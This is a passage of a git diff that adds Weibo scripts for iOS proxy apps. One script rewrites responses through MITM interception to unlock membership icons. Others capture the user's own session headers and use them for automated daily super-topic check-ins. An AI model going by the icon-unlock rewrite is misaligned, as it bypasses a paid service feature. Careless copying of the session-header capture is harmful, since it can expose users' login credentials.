t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +//////////////////////////////// \ No newline at end of file diff --git a/Scripts/weibo/weibo_vip.js b/Scripts/weibo/weibo_vip.js new file mode 100644 index 00000000..2da1dce3 --- /dev/null +++ b/Scripts/weibo/weibo_vip.js @@ -0,0 +1,23 @@ +/** + * @author fmz200 + * @function 解锁微博会员图标 + * @date 2024-06-13 09:20:00 + * + * [MITM] + * hostname = new.vip.weibo.cn + * + * [rewrite_local] + * ^https?://new\.vip\.weibo\.cn/aj/appicon/list url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/weibo/weibo_vip.js + */ + +let body = $response.body; +let obj = JSON.parse(body); + +if (obj.data?.list) { + obj.data.list.forEach(function (item) { + item.cardType = "2"; + item.tag = ""; + }); +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/weibo/weibotalk.cookie.js b/Scripts/weibo/weibotalk.cookie.js new file mode 100644 index 00000000..16f42480 --- /dev/null +++ b/Scripts/weibo/weibotalk.cookie.js @@ -0,0 +1,137 @@ +/********** +🐬作者 +@Evilbutcher。 https://github.com/evilbutcher +@toulanboy。https://github.com/toulanboy/scripts + +📌不定期更新各种签到、有趣的脚本,欢迎star🌟 + +*********************************** +【配置步骤,请认真阅读,每一个细节都很重要】 +*********************************** +1. 根据你当前的软件,配置好srcipt。由于是远程文件,记得顺便更新文件。 +2. 打开微博APP --> 底部栏“我的“ --> 中间的”超话社区“ --> 底部栏"我的" --> ”关注“, 弹出通知,提示获取已关注超话链接成功。 +3. 点进一个超话页面,手动签到一次。弹出通知,提示获取超话签到链接成功。 若之前所有已经签到,请关注一个新超话进行签到。 +4. 回到quanx等软件,关掉获取cookie的rewrite。(loon是关掉获取cookie的脚本) + +📌 配置第2个账号方法:第1个账号获取cookie结束后。在微博app中切换到第2个号,进行相同的获取逻辑。 + +*************************************** +【boxjs 订阅, 用于修改脚本配置】 +*************************************** +box订阅链接:https://raw.githubusercontent.com/toulanboy/scripts/master/toulanboy.boxjs.json +订阅后,可以在box里面进行 cookie清空、通知个数、签到延迟 等设置. + +************************* +【Surge 4.2+ 脚本配置】 +************************* +微博超话cookie获取 = type=http-request,pattern=^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button),script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +微博超话 = type=cron,cronexp="5 0 * * *",script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js,wake-system=true,timeout=600 + +************************* +【Loon 2.1+ 脚本配置】 +************************* +[script] +cron "5 0 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, timeout=600, tag=微博超话 +http-request ^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js,requires-body=false, tag=微博超话cookie获取 + +************************* +【 QX 1.0.10+ 脚本配置 】 +************************* +[rewrite_local] +^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) url script-request-header https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +[task] +5 0 * * * https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, tag=微博超话 + + +[MITM] +hostname = api.weibo.cn + +*********/ +$ = new Env("微博超话") +//账号1 +const tokenurl = 'evil_tokenurl'; +const tokencheckinurl = 'evil_tokencheckinurl' +const tokenheaders = 'evil_tokenheaders' +const tokencheckinheaders = 'evil_tokencheckinheaders' +//账号2 +const tokenurl2 = 'evil_tokenurl2'; +const tokencheckinurl2 = 'evil_tokencheckinurl2' +const tokenheaders2= 'evil_tokenheaders2' +const tokencheckinheaders2 = 'evil_tokencheckinheaders2' + +if ($request && $request.method != 'OPTIONS' && $request.url.match(/\_\-\_myfollow.*?need\_head\_cards/) && $request.url.match(/cardlist/)){ + const listurl = $request.url + const listheaders = JSON.stringify($request.headers) + if ($.getdata(tokenurl) == undefined || $.getdata(tokenurl) == "") { + console.log(listurl) + $.setdata(listurl, tokenurl) + $.setdata(listheaders, tokenheaders) + $.msg("微博超话 [账号一]", "✅获取已关注超话列表成功", "✨接下来,请点进一个超话进行签到\n如果没有签到的超话,请关注新的进行签到。") + } + else { + if (!($.getdata(tokencheckinurl) == undefined || $.getdata(tokencheckinurl) == "") && listurl != $.getdata(tokenurl)) { + console.log(listurl) + $.setdata(listurl, tokenurl2) + $.setdata(listheaders, tokenheaders2) + $.msg("微博超话 [账号二]", "✅获取已关注超话列表成功", "✨接下来,请点进一个超话进行签到\n如果没有签到的超话,请关注新的进行签到。") + } + } +} else if ($request && $request.method != 'OPTIONS' && $request.url.match(/active\_checkin/) && $request.url.match(/page\/button/)){ + const checkinurl = $request.url + + const checkinheaders = JSON.stringify($request.headers) + if (($.getdata(tokenurl) != undefined && $.getdata(tokenurl) != "") && ($.getdata(tokencheckinurl) == undefined || $.getdata(tokencheckinurl) == "")) { + console.log(checkinurl) + $.setdata(checkinurl, tokencheckinurl) + $.setdata(checkinheaders, tokencheckinheaders) + $.msg("微博超话 [账号一]", "🎉获取超话签到链接成功", `若之前已弹出【获取已关注列表成功】的通知,那么已完成当前账号cookie获取。\n🚨若你只需要签到1个账号,请现在去关闭获取cookie的脚本或重写。`) + + } + else { + if (!($.getdata(tokenurl2) == undefined || $.getdata(tokenurl2) == "")) { + console.log(checkinurl) + $.setdata(checkinurl, tokencheckinurl2) + $.setdata(checkinheaders, tokencheckinheaders2) + $.msg("微博超话 [账号二]", "🎉获取超话签到链接成功", `若之前已弹出【获取已关注列表成功】的通知,那么已完成当前账号cookie获取。\n🚨请关闭获取cookie的脚本或重写,然后可以愉快使用了。`) + } + } +} + +$.done() + +//@Chavy +function Env(s) { + this.name = s, this.data = null, this.logs = [], this.isSurge = (() => "undefined" != typeof $httpClient), this.isQuanX = (() => "undefined" != typeof $task), this.isNode = (() => "undefined" != typeof module && !!module.exports), this.log = ((...s) => { + this.logs = [...this.logs, ...s], s ? console.log(s.join("\n")) : console.log(this.logs.join("\n")) + }), this.msg = ((s = this.name, t = "", i = "") => { + this.isSurge() && $notification.post(s, t, i), this.isQuanX() && $notify(s, t, i); + const e = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; + s && e.push(s), t && e.push(t), i && e.push(i), console.log(e.join("\n")) + }), this.getdata = (s => { + if (this.isSurge()) return $persistentStore.read(s); + if (this.isQuanX()) return $prefs.valueForKey(s); + if (this.isNode()) { + const t = "box.dat"; + return this.fs = this.fs ? this.fs : require("fs"), this.fs.existsSync(t) ? (this.data = JSON.parse(this.fs.readFileSync(t)), this.data[s]) : null + } + }), this.setdata = ((s, t) => { + if (this.isSurge()) return $persistentStore.write(s, t); + if (this.isQuanX()) return $prefs.setValueForKey(s, t); + if (this.isNode()) { + const i = "box.dat"; + return this.fs = this.fs ? this.fs : require("fs"), !!this.fs.existsSync(i) && (this.data = JSON.parse(this.fs.readFileSync(i)), this.data[t] = s, this.fs.writeFileSync(i, JSON.stringify(this.data)), !0) + } + }), this.wait = ((s, t = s) => i => setTimeout(() => i(), Math.floor(Math.random() * (t - s + 1) + s))), this.get = ((s, t) => this.send(s, "GET", t)), this.post = ((s, t) => this.send(s, "POST", t)), this.send = ((s, t, i) => { + if (this.isSurge()) { + const e = "POST" == t ? $httpClient.post : $httpClient.get; + e(s, (s, t, e) => { + t && (t.body = e, t.statusCode = t.status), i(s, t, e) + }) + } + this.isQuanX() && (s.method = t, $task.fetch(s).then(s => { + s.status = s.statusCode, i(null, s, s.body) + }, s => i(s.error, s, s))), this.isNode() && (this.request = this.request ? this.request : require("request"), s.method = t, s.gzip = !0, this.request(s, (s, t, e) => { + t && (t.status = t.statusCode), i(null, t, e) + })) + }), this.done = ((s = {}) => this.isNode() ? null : $done(s)) +} diff --git a/Scripts/weibo/weibotalk.js b/Scripts/weibo/weibotalk.js new file mode 100644 index 00000000..9d1ba4bc --- /dev/null +++ b/Scripts/weibo/weibotalk.js @@ -0,0 +1,341 @@ +/********** + 微博超话签到修改版 + 需要12.2.1以下版本抓包 + 更新时间:2025-05-27 22:00:00 + +🐬作者 +@Evilbutcher。 https://github.com/evilbutcher +@toulanboy。https://github.com/toulanboy/scripts + +📌不定期更新各种签到、有趣的脚本,欢迎star🌟 + +*********************************** +【配置步骤,请认真阅读,每一个细节都很重要】 +*********************************** +1. 根据你当前的软件,配置好script。由于是远程文件,记得顺便更新文件。 +2. 打开微博APP --> 底部栏“我的“ --> 中间的”超话社区“ --> 底部栏"我的" --> ”关注“, 弹出通知,提示获取已关注超话链接成功。 +3. 点进一个超话页面,手动签到一次。弹出通知,提示获取超话签到链接成功。 若之前所有已经签到,请关注一个新超话进行签到。 +4. 回到quanx等软件,关掉获取cookie的rewrite。(loon是关掉获取cookie的脚本) + +📌 配置第2个账号方法:第1个账号获取cookie结束后。在微博app中切换到第2个号,进行相同的获取逻辑。 + +*************************************** +【boxjs 订阅, 用于修改脚本配置】 +*************************************** +box订阅链接:https://raw.githubusercontent.com/toulanboy/scripts/master/toulanboy.boxjs.json +订阅后,可以在box里面进行 cookie清空、通知个数、签到延迟 等设置. + +************************* +【Surge 4.2+ 脚本配置】 +************************* +微博超话cookie获取 = type=http-request,pattern=^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button),script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +微博超话 = type=cron,cronexp="5 0 * * *",script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js,wake-system=true,timeout=600 + +************************* +【Loon 2.1+ 脚本配置】 +************************* +[script] +cron "5 0 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, timeout=600, tag=微博超话 +http-request ^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js,requires-body=false, tag=微博超话cookie获取 + +************************* +【 QX 1.0.10+ 脚本配置 】 +************************* +[rewrite_local] +^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) url script-request-header https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +[task] +5 0 * * * https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, tag=微博超话 + + +[MITM] +hostname = api.weibo.cn + +*********/ + +const $ = new Env("微博超话") + +/* + * 可自定义的参数 + */ +$.delete_cookie = false //若需要清空cookie,请把它置为true。清空完毕后,请重新置为false. +$.msg_max_num = 30 //一个通知显示30个超话的签到情况 +$.time = 700 //【签到间隔,单位ms】,若超话过多,建议填1000ms以上。 +let debug = false + +!(async () => { + if (!get_setting()) return + if (!get_counts()) return + console.log(`🌟 账号数 = ${$.count_num}`) + for (let current = 1; current <= $.count_num; ++current) { + init_env(current) + await get_page_number(); + console.log(`🌟 get_page_number 执行完成`) + for (let i = 1; i <= $.pagenumber; i++) { + //console.log(`🌟 get_talk_id ${i}`) + await get_talk_id(i); + //console.log(`🌟 get_talk_id ${i}执行完成`) + } + for (let i in $.name_list) { + await checkin($.id_list[i], $.name_list[i]); + $.wait($.time); + } + output(current) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done() + }) + +function get_setting() { + $.delete_cookie = JSON.parse($.getdata('wb_delete_cookie') || $.delete_cookie) + $.msg_max_num = $.getdata('wb_msg_max_num') * 1 || $.msg_max_num + $.time = $.getdata('wb_request_time') * 1 || $.time + + $.listurl = $.getdata("evil_tokenurl"); + $.listheaders = $.getdata("evil_tokenheaders"); + $.checkinurl = $.getdata("evil_tokencheckinurl"); + $.checkinheaders = $.getdata("evil_tokencheckinheaders"); + + $.listurl2 = $.getdata("evil_tokenurl2"); + $.listheaders2 = $.getdata("evil_tokenheaders2"); + $.checkinurl2 = $.getdata("evil_tokencheckinurl2"); + $.checkinheaders2 = $.getdata("evil_tokencheckinheaders2"); + if ($.delete_cookie) { + $.setdata("", "evil_tokenurl") + $.setdata("", "evil_tokenheaders") + $.setdata("", "evil_tokencheckinurl") + $.setdata("", "evil_tokencheckinheaders") + + $.setdata("", "evil_tokenurl2") + $.setdata("", "evil_tokenheaders2") + $.setdata("", "evil_tokencheckinurl2") + $.setdata("", "evil_tokencheckinheaders2") + $.setdata("false", "wb_delete_cookie") + $.msg($.name, "", "✅已清空cookie,同时已关闭清空功能。\n🔍请按流程开始获取cookie把~") + return false; + } + return true; +} + +function get_counts() { + $.count_num = 0; + if ($.listurl == undefined || $.listurl == "" || + $.listheaders == undefined || $.listheaders == "" || + $.checkinurl == undefined || $.checkinurl == "" || + $.checkinheaders == undefined || $.checkinheaders == "") { + $.msg($.name, "🚫cookie不完整 或 没有cookie", "🚫请认真阅读配置,按流程获取cookie。\n🔍若仍无法解决,请先清空cookie再获取。\n🔍如何清空?\n1️⃣本地文件:将文件内delete_cookie置为true。\n2️⃣远程文件:使用boxjs,在box内打开清空cookie开关") + return false; + } else { + $.count_num = 1 + } + if (!($.listurl2 == undefined || $.listurl2 == "" || + $.listheaders2 == undefined || $.listheaders2 == "" || + $.checkinurl2 == undefined || $.checkinurl2 == "" || + $.checkinheaders2 == undefined || $.checkinheaders2 == "")) { + $.count_num = 2; + } + return true; +} + +function init_env(current) { + console.log(`🌟 清空环境,开始账号 ${current}`) + $.message = []; + $.name_list = [] + $.id_list = [] + $.val_list = [] + $.successNum = 0 + $.failNum = 0 + $.allnumber = 0; + $.pagenumber = 0; + $.stopNum = 0; + if (current === 2) { + $.listurl = $.listurl2 + $.listheaders = $.listheaders2 + $.checkinurl = $.checkinurl2 + $.checkinheaders = $.checkinheaders2 + } +} + +function output(current) { + $.this_msg = "" + for (var i = 1; i <= $.message.length; ++i) { + if (i % ($.msg_max_num) === 0) { + $.msg(`${$.name}${$.count_num === 1 ? "" : (current === 1 ? "[账号一]" : "[账号二]")}: 成功${$.successNum}个,失败${$.failNum}`, `当前第${Math.ceil(i / $.msg_max_num)}页 ,共${Math.ceil($.message.length / $.msg_max_num)}页`, $.this_msg) + $.this_msg = "" + } + $.this_msg += `${$.message[i - 1]}\n` + } + if ($.message.length % $.msg_max_num !== 0) { + $.msg(`${$.name}${$.count_num === 1 ? "" : (current === 1 ? "[账号一]" : "[账号二]")}: 成功${$.successNum}个,失败${$.failNum}`, `当前第${Math.ceil((i - 1) / $.msg_max_num)}页 ,共${Math.ceil($.message.length / $.msg_max_num)}页`, $.this_msg) + } +} + +function get_page_number() { + return new Promise((resolve) => { + let request = { + url: $.listurl, + header: $.listheaders + }; + $.get(request, (error, response, data) => { + if (error) { + throw new Error(error) + } + let body = response.body; + let obj = JSON.parse(body); + if (obj.hasOwnProperty('errmsg') || obj.cardlistInfo.total == undefined) { + $.msg($.name, "🚨获取页数出现错误", `⚠️微博原话:${obj.errmsg}\n🧑🏻‍💻作者:账号过期了,清空cookie吧,重新获取。`) + $.pagenumber = 0 + resolve() + return + } + $.allnumber = obj.cardlistInfo.total; + console.log("当前已关注超话" + $.allnumber + "个"); + // $.message.push(`当前已关注超话${allnumber}个`); + $.pagenumber = Math.ceil($.allnumber / 25); + //$notify("超话","",JSON.stringify($.message)) + resolve(); + }); + }); +} + +//获取超话签到id +function get_talk_id(page) { + let getlisturl = $.listurl.replace(/&page=.*?&/, "&page=" + page + "&"); + // console.log(getlisturl); + let idrequest = { + url: getlisturl, + header: $.listheaders + }; + // console.log(idrequest) + return new Promise((resolve) => { + $.get(idrequest, (error, response, data) => { + if (error) { + throw new Error(error) + } + let body = response.body; + let obj = JSON.parse(body); + if (obj.hasOwnProperty('errmsg') || obj.cards === undefined || obj.cards == null) { + $.msg($.name, "🚨获取超话ID出现错误", `⚠️微博原话:${obj.errmsg}\n`) + resolve() + return + } + let group = obj.cards[0]["card_group"]; + let number = group.length; + for (let i = 0; i < number; i++) { + let name = group[i]["title_sub"]; + $.name_list.push(name) + let val = group[i].desc; + $.val_list.push(val) + let id = group[i].scheme.slice(33, 71); + $.id_list.push(id) + if (debug) { + console.log(name) + console.log(val) + console.log(id) + } + // checkin(id, name, val, time); + } + resolve() + }) + }) +} + +//签到 +function checkin(id, name) { + let sendcheckinurl = $.checkinurl + .replace(/&fid=.*?&/, "&fid=" + id + "&") + .replace(/pageid%3D.*?%26/, "pageid%3D" + id + "%26"); + let checkinrequest = { + url: sendcheckinurl, + header: $.checkinheaders + }; + return new Promise(resolve => { + $.get(checkinrequest, (error, response, data) => { + if (error) { + throw new Error(error) + } + name = name.replace(/超话/, "") + if (response.statusCode == 200) { + msg_info = JSON.parse(response.body); + console.log(response.body); + if (msg_info.hasOwnProperty('errmsg')) { + $.failNum += 1; + error_code = msg_info.errcode; + if (error_code == 382004) { + $.message.push(`【${name}】:✨今天已签到`); + console.log(`【${name}】:${msg_info.errmsg}`); + } else { + $.message.push(`【${name}】:${msg_info.errmsg}`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + } + } else if (msg_info.hasOwnProperty('result') && msg_info.result == 1) { + $.successNum += 1 + $.message.push(`【${name}】:✅${msg_info.button.name}`) + console.log(`【${name}】:${msg_info.button.name}`); + } else { + $.failNum += 1 + $.message.push(`【${name}】:发生错误⚠️`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + console.log(response.body) + } + } else if ((response.statusCode == 418)) { + $.failNum += 1 + $.message.push(`【${name}】:"签到太频繁啦,请稍后再试"`); + console.log(`【${name}】:"签到太频繁啦,请稍后再试"`); + } else if (response.statusCode == 511) { + $.failNum += 1; + $.message.push(`【${name}】:"需要身份验证,请稍后再试"`); + console.log(`【${name}】:"需要身份验证,请稍后再试"`); + } else { + $.failNum += 1 + $.message.push(`【${name}】:发生错误⚠️`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + console.log(JSON.stringify(response)) + } + resolve(); + }) + + }) +} + +/*********************************** ENV *************************************/ +//@Chavy +function Env(s) { + this.name = s, this.data = null, this.logs = [], this.isSurge = (() => "undefined" != typeof $httpClient), this.isQuanX = (() => "undefined" != typeof $task), this.isNode = (() => "undefined" != typeof module && !!module.exports), this.log = ((...s) => { + this.logs = [...this.logs, ...s], s ? console.log(s.join("\n")) : console.log(this.logs.join("\n")) + }), this.msg = ((s = this.name, t = "", i = "") => { + this.isSurge() && $notification.post(s, t, i), this.isQuanX() && $notify(s, t, i); + const e = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; + s && e.push(s), t && e.push(t), i && e.push(i), console.log(e.join("\n")) + }), this.getdata = (s => { + if (this.isSurge()) return $persistentStore.read(s); + if (this.isQuanX()) return $prefs.valueForKey(s); + if (this.isNode()) { + const t = "box.dat"; + return this.fs = this.fs ? this.fs : require("fs"), this.fs.existsSync(t) ? (this.data = JSON.parse(this.fs.readFileSync(t)), this.data[s]) : null + } + }), this.setdata = ((s, t) => { + if (this.isSurge()) return $persistentStore.write(s, t); + if (this.isQuanX()) return $prefs.setValueForKey(s, t); + if (this.isNode()) { + const i = "box.dat"; + return this.fs = this.fs ? this.fs : require("fs"), !!this.fs.existsSync(i) && (this.data = JSON.parse(this.fs.readFileSync(i)), this.data[t] = s, this.fs.writeFileSync(i, JSON.stringify(this.data)), !0) + } + }), this.wait = ((s, t = s) => i => setTimeout(() => i(), Math.floor(Math.random() * (t - s + 1) + s))), this.get = ((s, t) => this.send(s, "GET", t)), this.post = ((s, t) => this.send(s, "POST", t)), this.send = ((s, t, i) => { + if (this.isSurge()) { + const e = "POST" == t ? $httpClient.post : $httpClient.get; + e(s, (s, t, e) => { + t && (t.body = e, t.statusCode = t.status), i(s, t, e) + }) + } + this.isQuanX() && (s.method = t, $task.fetch(s).then(s => { + s.status = s.statusCode, i(null, s, s.body) + }, s => i(s.error, s, s))), this.isNode() && (this.request = this.request ? this.request : require("request"), s.method = t, s.gzip = !0, this.request(s, (s, t, e) => { + t && (t.status = t.statusCode), i(null, t, e) + })) + }), this.done = ((s = {}) => this.isNode() ? null : $done(s)) +} +/*****************************************************************************/ diff --git a/Scripts/weibo/weibotalk_signin.js b/Scripts/weibo/weibotalk_signin.js new file mode 100644 index 00000000..1fe98ecf --- /dev/null +++ b/Scripts/weibo/weibotalk_signin.js @@ -0,0 +1,286 @@ +/********** + 微博超话签到修改版 + 需要12.2.1以下版本抓包 + 更新时间:2025-05-27 22:00:00 + +🐬作者 +@Evilbutcher。 https://github.com/evilbutcher +@toulanboy。https://github.com/toulanboy/scripts +@fmz200 重构代码,支持多账号和青龙环境 + +📌不定期更新各种签到、有趣的脚本,欢迎star🌟 + +*********************************** +【配置步骤,请认真阅读,每一个细节都很重要】 +*********************************** +1. 根据你当前的软件,配置好script。由于是远程文件,记得顺便更新文件。 +2. 打开微博APP --> 底部栏“我的“ --> 中间的”超话社区“ --> 底部栏"我的" --> ”关注“, 弹出通知,提示获取已关注超话链接成功。 +3. 点进一个超话页面,手动签到一次。弹出通知,提示获取超话签到链接成功。 若之前所有已经签到,请关注一个新超话进行签到。 +4. 回到quanx等软件,关掉获取cookie的rewrite。(loon是关掉获取cookie的脚本) + +📌 配置第2个账号方法:第1个账号获取cookie结束后。在微博app中切换到第2个号,进行相同的获取逻辑。 + +*************************************** +【boxjs 订阅, 用于修改脚本配置】 +*************************************** +box订阅链接:https://raw.githubusercontent.com/toulanboy/scripts/master/toulanboy.boxjs.json +订阅后,可以在box里面进行 cookie清空、通知个数、签到延迟 等设置. + +************************* +【Surge 4.2+ 脚本配置】 +************************* +微博超话cookie获取 = type=http-request,pattern=^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button),script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +微博超话 = type=cron,cronexp="5 0 * * *",script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js,wake-system=true,timeout=600 + +************************* +【Loon 2.1+ 脚本配置】 +************************* +[script] +cron "5 0 * * *" script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, timeout=600, tag=微博超话 +http-request ^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) script-path=https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js,requires-body=false, tag=微博超话cookie获取 + +************************* +【 QX 1.0.10+ 脚本配置 】 +************************* +[rewrite_local] +^https?://m?api\.weibo\.c(n|om)\/2\/(cardlist|page\/button) url script-request-header https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.cookie.js +[task] +5 0 * * * https://raw.githubusercontent.com/toulanboy/scripts/master/weibo/weibotalk.js, tag=微博超话 + + +[MITM] +hostname = api.weibo.cn + +*********/ + +const $ = new Env("微博超话签到"); +const isNode = $.isNode(); +const notify = isNode ? require('./sendNotify') : ''; +$.nodeNotifyMsg = []; // nodeJS合并通知 + +const wb_delete_cookie = isNode ? process.env["wb_delete_cookie"] : $.getdata("wb_delete_cookie"); +const wb_msg_max_num = isNode ? process.env["wb_msg_max_num"] : $.getdata("wb_msg_max_num"); +const wb_request_time = isNode ? process.env["wb_request_time"] : $.getdata("wb_request_time"); +const tokenList = isNode ? process.env["fmz200_weibotalk_token"] : $.getdata("fmz200_weibotalk_token"); + +$.delete_cookie = JSON.parse(wb_delete_cookie || false); // 若需要清空cookie,请把它置为true。清空完毕后,请重新置为false. +$.msg_max_num = wb_msg_max_num * 1 || 50; // 一个通知显示30个超话的签到情况 +$.interval_time = wb_request_time * 1 || 3000; //【签到间隔,单位ms】,若超话过多,建议填1000ms以上。 + +!(async () => { + console.info(`配置参数:delete_cookie=${$.delete_cookie},msg_max_num=${$.msg_max_num},interval_time=${$.interval_time}`); + if ($.delete_cookie) { + $.setdata("[]", "fmz200_weibotalk_token"); + await sendMsg("✅已清空cookie,同时已关闭清空功能。\n🔍请按流程开始获取cookie把~", ""); + $.done(); + } + // 开始签到流程 + if (!tokenList || JSON.parse(tokenList).length === 0) { + await sendMsg("❌ 请先获取微博超话签到token", ""); + $.done(); + } + const jsonTokenList = JSON.parse(tokenList); + console.log(`🌟 账号数 = ${jsonTokenList.length}`); + for (const token of jsonTokenList) { + $.currentToken = token; + $.userId = token.userId; + if (!validateObject(token)) { + const subMsg = `[${$.userId}]cookie数据不完整,请重新获取!!`; + if (isNode) { + $.nodeNotifyMsg.push(subMsg); + } else { + $.msg($.name, subMsg, '', {'open-url': '', 'media-url': "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/weibo.png"}); + } + continue; + } + init_env(); + await get_page_number(); + console.log(`🌟 get_page_number 执行完成`); + for (let i = 1; i <= $.pagenumber; i++) { + await get_talk_id(i); + } + for (let i in $.name_list) { + await checkin($.id_list[i], $.name_list[i]); + await $.wait($.interval_time); + } + output(); + } + if (isNode) await sendMsg($.nodeNotifyMsg.join("\n"), ""); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done() + }) + +function init_env() { + console.log(`🌟 清空环境,开始账号 ${$.userId}`) + $.message = []; + $.name_list = []; + $.id_list = []; + $.val_list = []; + $.successNum = 0; + $.failNum = 0; + $.allnumber = 0; + $.pagenumber = 0; + $.stopNum = 0; +} + +function output() { + if (isNode) { + // 带序号版本 + const numberedResult = $.message.map((msg, index) => `${index + 1}. ${msg}`).join('\n'); + $.nodeNotifyMsg.push(`${$.userId}: 成功${$.successNum}个,失败${$.failNum}\n${numberedResult}\n-------------------------`); + } else { + $.this_msg = ""; + for (let i = 1; i <= $.message.length; ++i) { + if (i % ($.msg_max_num) === 0) { + $.msg(`${$.name}${$.userId}: 成功${$.successNum}个,失败${$.failNum}`, `当前第${Math.ceil(i / $.msg_max_num)}页 ,共${Math.ceil($.message.length / $.msg_max_num)}页`, $.this_msg); + $.this_msg = ""; + } + $.this_msg += `${$.message[i - 1]}\n`; + } + if ($.message.length % $.msg_max_num !== 0) { + $.msg(`${$.name}${$.userId}: 成功${$.successNum}个,失败${$.failNum}`, `当前第${Math.ceil((i - 1) / $.msg_max_num)}页 ,共${Math.ceil($.message.length / $.msg_max_num)}页`, $.this_msg); + } + } +} + +function get_page_number() { + return new Promise((resolve) => { + let request = { + url: $.currentToken.tokenUrl, header: $.currentToken.tokenHeaders + }; + $.get(request, (error, response, data) => { + if (error) { + throw new Error(error); + } + let obj = JSON.parse(response.body); + if (obj.hasOwnProperty('errmsg') || obj.cardlistInfo.total == undefined) { + if (isNode) { + $.nodeNotifyMsg.push(`🚨获取页数出现错误,⚠️微博原话:${obj.errmsg}\n🧑账号可能过期了,清空cookie重新获取吧`); + } else { + $.msg($.name, "🚨获取页数出现错误", `⚠️微博原话:${obj.errmsg}\n🧑账号可能过期了,清空cookie重新获取吧`); + } + $.pagenumber = 0; + resolve(); + return; + } + $.allnumber = obj.cardlistInfo.total; + console.log("当前已关注超话" + $.allnumber + "个"); + $.pagenumber = Math.ceil($.allnumber / 25); + resolve(); + }); + }); +} + +// 获取超话签到id +function get_talk_id(page) { + let getListUrl = $.currentToken.tokenUrl.replace(/&page=.*?&/, "&page=" + page + "&"); + // console.log(getListUrl); + let request = { + url: getListUrl, header: $.currentToken.tokenHeaders + }; + // console.log(request) + return new Promise((resolve) => { + $.get(request, (error, response, data) => { + if (error) { + throw new Error(error); + } + let obj = JSON.parse(response.body); + if (obj.hasOwnProperty('errmsg') || obj.cards === undefined || obj.cards == null) { + if (isNode) { + $.nodeNotifyMsg.push(`🚨获取超话ID出现错误,⚠️微博原话:${obj.errmsg}`); + } else { + $.msg($.name, "🚨获取超话ID出现错误", `⚠️微博原话:${obj.errmsg}\n`); + } + resolve(); + return; + } + let group = obj.cards[0]["card_group"]; + let number = group.length; + for (let i = 0; i < number; i++) { + let name = group[i]["title_sub"]; + $.name_list.push(name); + let val = group[i].desc; + $.val_list.push(val); + let id = group[i].scheme.slice(33, 71); + $.id_list.push(id); + + console.log(name, val, 